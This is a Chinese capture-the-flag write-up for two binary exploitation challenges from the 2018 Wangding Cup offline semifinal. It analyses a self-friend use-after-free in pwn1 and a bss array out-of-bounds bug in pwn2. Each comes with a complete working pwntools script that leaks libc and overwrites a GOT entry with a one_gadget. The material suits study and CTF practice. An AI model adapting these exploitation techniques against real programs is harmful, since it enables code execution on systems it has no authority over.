2018网鼎杯线下半决赛pwn

pwn1

本题的逻辑和线上的EasyCoin还是很像的,但是有些蜜汁逻辑真的看着难受。

基本逻辑

主要功能

regist函数在ptr数组中找到一个空闲的位置,ptr中每个地址都是一个0x130大小的块,注册后的结构如下:

regist函数主要代码

1
2
3
4
5
6
7
8
struct user{
char *name;
int age;
char des[256];
char *msg_list;
struct user *next;
bool inuse;
}

login函数简单粗暴的查找username,然后登入。

login函数主要代码

view_profile打印出用户名、年龄和描述信息。

view_profile函数

update更新用户名、年龄和描述信息,非常坑的是,更新用户名时只能再输入strlen(username)长度的字符。

update函数

friend函数可以删除或者添加一个friend。删除时,沿着next找到要删除的user。添加时,沿着next找到最后一个结点并添加。忍住不吐槽这个破函数……忍住……. 这里可以添加自己为friend

friend函数

send函数发送msg,每次send之前要构造一个msg结构体,msg的结构体如下:

1
2
3
4
5
struct msg{
char *title;
char *content;
struct msg *next;
}

这里用到的strdup函数相当于:

1
2
p = malloc(strlen(buf));
strcpy(p,buf);

send函数

view_msg和logout比较简单,这里就不列出了。

漏洞分析

和EasyCoin一样,本题也可以添加自己为好友,next指针指向自己,删除好友时,相当于释放自己这块内存。而释放后没有将指针置零,UAF漏洞能够泄露地址和覆写got表。

漏洞利用

泄露libc地址

释放一个user后,它的name字段被覆写为FD,该指针指向main_arena+88。

覆写got表

当重新注册一个新用户时,首先在ptr数组中找一个闲置的块,然后按照输入的size,malloc一个块作为name的空间。由于刚刚释放了一个user,unsorted bin中已有一个大小为0x130的块。当输入的size小于0x130时,就会从unsorted bin上分配给name。

此时在name中写入puts@got的地址,即相当覆写已释放的user的name地址为puts@got地址,此时我们再update已释放user,就能向puts@got写入one_gadget地址了。

艰苦的心路历程

虽然本题利用很简单,但是!!我踩了好多坑!!

思路一:把已释放user的name字段覆写为malloc_hook的地址,再update,试图向malloc_hook中写入one_gadget。然而!update时用到了strlen!而strlen(&__malloc_hook)的值为0,也就是根本写不进去

思路二:泄露libc也可以通过environ变量泄露栈地址,覆写函数返回地址为one_gadget。再一次被update阻拦了,栈中的返回地址长度都为3(如0x400ebe)。又想是否能够修改main函数的返回地址?发现main函数是通过exit退出的,没有leave;ret环节。

思路三:向FD所指的main_arena+88中写入got表地址,由于main_arena+88恰好是记录top地址的位置,覆写成got表,之后的malloc会从got表中分配并可以覆写got表。然而,update还必须要输入age,age处对应了BK指针,为了保证能够正常分配块,age也应该保持main_arena+88,但是update对age进行了截断,只复制后四字节然后自行填充,就不能把完整的地址写入BK处。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = 'debug'

p = process('./pwn1')
gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
puts_got = 0x602020

def login(name):
p.sendlineafter("Your choice:",'1')
p.sendlineafter("Please input your user name:",name)

def regist(name,size,age,des):
p.sendlineafter("Your choice:",'2')
p.sendlineafter("Input your name size:",str(size))
p.sendlineafter("Input your name:",name)
p.sendlineafter("Input your age:",str(age))
p.sendlineafter("Input your description:",des)

def view_info():
p.sendlineafter("Your choice:",'1')

def update(name,age,des):
p.sendlineafter("Your choice:",'2')
p.sendafter("Input your name:",name)
p.sendlineafter("Input your age:",str(age))
p.sendlineafter("Input your description:",des)

def add_friend(name):
p.sendlineafter("Your choice:",'3')
p.sendlineafter("Input the friend's name:",name)
p.sendlineafter("So..Do u want to add or delete this friend?(a/d)",'a')

def dele_friend(name):
p.sendlineafter("Your choice:",'3')
p.sendlineafter("Input the friend's name:",name)
p.sendlineafter("So..Do u want to add or delete this friend?(a/d)",'d')

def send(name,title,content):
p.sendlineafter("Your choice:",'4')
p.sendlineafter("Which user do you want to send a msg to:",name)
p.sendlineafter("Input your message title:",title)
p.sendlineafter("Input your content:",content)

def logout():
p.sendlineafter("Your choice:",'6')

regist("0gur11",8,22,"0gur111")
regist("0gur22",64,22,"0gur222")

login("0gur22")
add_friend("0gur22")
dele_friend("0gur22")

view_info()
p.recvuntil("Username:")

#leak libc
heap = p.recvline()[:-1]
heap_len = len(heap)
heap_addr = u64(heap.ljust(8,'\x00'))
p.recvuntil("Age:")
addr = int(p.recvline()[:-1],16)
libc_base = addr - 3951480
puts_addr = libc_base + 456336
log.info('libc_base:%#x',libc_base)
log.info('heap_addr:%#x',heap_addr)
logout()

#rewrite got
regist(p64(puts_got),0x20,22,"0gur333")


login(p64(puts_addr))
update(p64(libc_base+gadget[0])[:-2],23,"0gur222")

p.interactive()

pwn2

pwn2还是挺简单的,存在数组越界漏洞,而且该数组还是在bss段上,因此可以泄露stderr的地址进而泄露libc地址;另外bss离got也很近,可以覆写got表。

附上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level='debug'

debug = 1
if debug:
p = process('./pwn2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
exit_got = 0x602060
gadget =[0x45216,0x4526a,0xf02a4,0xf1147]


gdb.attach(p,'b *0x4009a9')
payload = 0x19 *'<'+ '+.'+'<+.'*7 + 0x40*'<'+','+'>,'*7
p.recvuntil("Put the code: ")
p.sendline(payload)
stderr_addr = 0

#leak libc
for i in range(0,8):
c = ord(p.recv(1))-1
stderr_addr += c << (7-i)*8
log.info("stderr:%#x",stderr_addr)
libc_base = stderr_addr - 3953984
one_gadget = libc_base + gadget[0]

#sys_addr = stderr_addr - 3670896
log.info("one_gadget:%#x",one_gadget)

for i in range(0,8):
p.send(p64(one_gadget)[i])

p.interactive()